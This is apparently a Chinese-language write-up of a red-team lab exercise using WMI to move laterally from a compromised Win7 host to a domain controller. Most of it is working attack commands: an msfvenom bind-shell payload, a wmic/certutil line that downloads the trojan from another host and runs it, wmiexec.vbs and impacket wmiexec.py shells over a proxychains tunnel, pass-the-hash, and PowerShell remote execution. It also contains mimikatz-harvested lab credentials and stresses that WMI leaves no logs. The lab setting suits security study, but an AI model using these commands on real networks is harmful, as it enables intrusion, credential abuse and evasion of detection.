- 前言
- wmi介紹
- wmiexec和psexec的區別
- wmic命令執行
- wmiexec.vbs
- wmiexec.py
- Invoke-WmiCommand.ps1
前言
上一篇打紅日靶場拿域控是用ms17-010漏洞執行命令的方式,最後提到了wmi利用的方式。接下來我將繼續採用之前的紅日靶場環境,只保留web伺服器和域控,使用wmiexec嘗試拿下域控制器。
wmi介紹
WMI(Windows Management Instrumentation)Windows管理規範,它提供了一種標準化的方式,管理本地或遠端計算機系統。
利用WMI橫向滲透的優勢:WMI的價值就是不需要下載和安裝,因為WMI是Windows系統自帶的功能,而且整個執行過程都在計算機記憶體中進行,操作記錄不會在Winodws日誌中留存。
WMIC命令:WMIC(Windows Management Instrumentation Command-line)是Windows自帶的一款用來管理操作WMI的工具。WMI服務預設使用RPC機制來進行通訊,需要目標主機開放135埠(WMIC預設的管理埠)和445埠。WMIC命令需要本地管理員或域管理員才可以進行正常使用。
透過wmic遠端連線去執行命令,命令執行結果將不會回顯,而使用wmiexec可以得到一個有互動的命令執行。
wmiexec和psexec的區別
說到wmiexec就不得不提psexec,PsExec它是一種輕量級的telnet替代品,可以在其他系統上執行程序,完成控制檯應用程式的完全互動,而無需手動安裝客戶端軟體。
psexec的基本原理是:先建立IPC$通道連線,遠端建立psexecsvc服務,然後透過psexec服務執行命令,服務端啟動相應的程式並執行回顯資料,執行結束後刪除服務。
有psexec為啥出現了wmiexec?
psexec缺點就是在啟動psexec建立連線後,遠端系統上會被安裝一個psexecsvc服務,安裝服務會留下日誌。而wmi可以做到無日誌,攻擊指令碼無需寫入到磁碟,增加了隱蔽性。有大佬使用指令碼呼叫wmi來模擬psexec的功能,於是wmiexec就誕生了。
wmic命令執行
首先是最基本的wmic執行命令的方式實現遠端控制,實現方式是向靶機上傳一個木馬,然後連線獲得shell。
目前靶場環境:
kali的msf可以透過Win7跳板機訪問到域控,但是域控不出網沒路由無法反彈shell到msf
msf+proxychains搭建socks5隧道可將流量代理到內網
mimikatz抓取到了域控使用者和明文密碼:god\liukaifeng01/hongriSEC@2019
所以需要獲取一個正向的msf連線,生成一個正向tcp連線的payload檔案:
msfvenom -p windows/x64/meterpreter/bind_tcp lport=5555 -f exe -o b.exe
將msf木馬上傳win7的網站目錄:
透過Win7的cmd使用wmic遠端連線域控主機,執行下載並執行msf木馬命令:
wmic /node:192.168.52.138 /user:god\liukaifeng01 /password:hongriSEC@2019 process call create "cmd.exe /c certutil.exe -urlcache -f -split http://192.168.52.143/b.exe&&b.exe"
命令執行成功之後,域控192.168.52.138會開啟5555埠監聽,然後在msf上個執行blin_tcp模組來獲取shell:
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 5555
run
拿到域控meterpreter shell後嘗試getsystem提權:
wmiexec.vbs
wmiexec.vbs指令碼透過vbs呼叫wmi來模擬psexec的功能,支援兩種模式,一種是半互動式shell模式,另一種是執行單條命令模式。
指令碼地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs
上傳vmiexec.vbs到Win7機器上,然後使用cscript.exe執行指令碼拿到半互動式的shell:
cscript.exe //nologo wmiexec.vbs /shell 192.168.52.138 liukaifeng01 hongriSEC@2019
還有直接執行單條命令,上傳C2木馬,和前面wmic命令執行套路相同:
cscript.exe wmiexec.vbs /cmd 192.168.52.138 liukaifeng01 hongriSEC@2019 "certutil.exe -urlcache -f -split http://192.168.52.143/b.exe&&b.exe"
執行成功後拿到shell,其實本質也就是執行wmic命令。
wmiexec.py
impacket工具包的wmiexec.py指令碼透過wmi實現了半互動式的shell。它是透過135埠建立DCOM連線獲取win32_Process物件,透過win32_Process的create方法建立程式執行命令,然後透過445埠建立smb連線訪問admin$共享下的結果檔案,完成結果回顯。
指令碼地址:https://github.com/fortra/impacket/blob/master/examples/wmiexec.py
上傳vmiexec.py到Win7主機上,使用使用者密碼連線拿shell:
python wmiexec.py liukaifeng01:hongriSEC@2019@192.168.52.138
Win7主機上沒有python包,嘗試在kali上執行透過socks隧道代理進內網,代理nmap掃描域控135和445埠開放:
proxychains4代理進內網獲取shell:
proxychains4 python wmiexec.py liukaifeng01:hongriSEC@2019@192.168.52.138
或者是PTH攻擊:
python wmiexec.py -hashes LM-Hash:NTLM-Hash Administrator@192.168.52.143 "whoami"
Invoke-WmiCommand.ps1
PowerSploit工具包Invoke-WmiCommand.ps1指令碼是利用Powershell來呼叫wmi來遠端執行命令,並且可以回顯執行結果。
指令碼地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-WmiCommand.ps1
還是先將指令碼上傳至Win7跳板機,從cmd切換到powershell然後匯入Invoke-WmiCommand.ps1指令碼:
Import-Module .\Invoke-WmiCommand.ps1
如果遇到無法匯入模組以管理員身份開啟PowerShell執行:set-executionpolicy remotesigned
指定目標系統使用者名稱和密碼:
$User="god\liukaifeng01"
$Password=ConvertTo-SecureString -String "hongriSEC@2019" -AsPlainText -Force
匯入Credential:
$Cred=New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList $User,$Password
指定要執行的命令和目標ip:
$Remote=Invoke-WmiCommand -Payload {whoami} -Credential $Cred -ComputerName 192.168.152.138
將執行結果輸出到螢幕上:
$Remote.PayloadOutput
遺憾的是指令碼報錯:
在本地一臺Win10虛擬機器測試ps正常執行,但在靶場上Win7指令碼報錯登錄檔的問題,目前沒解決。還有一個是PowerShell自帶的一個模組Invoke-WMIMethod,缺點是不能回顯。
$User="god\liukaifeng01"
$Password=ConvertTo-SecureString -String "hongriSEC@2019" -AsPlainText -Force
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.152.138" -Credential $Cred
這次又報錯RPC服務不可用。。。埠狀態正常,之後再試試吧。
以上就是我從網上了解的幾種wmi在橫向滲透中的用法,利用紅日靶場復現了一下,遇到了一些困難,但還是有所收穫。
若有錯誤,歡迎指正!o( ̄▽ ̄)ブ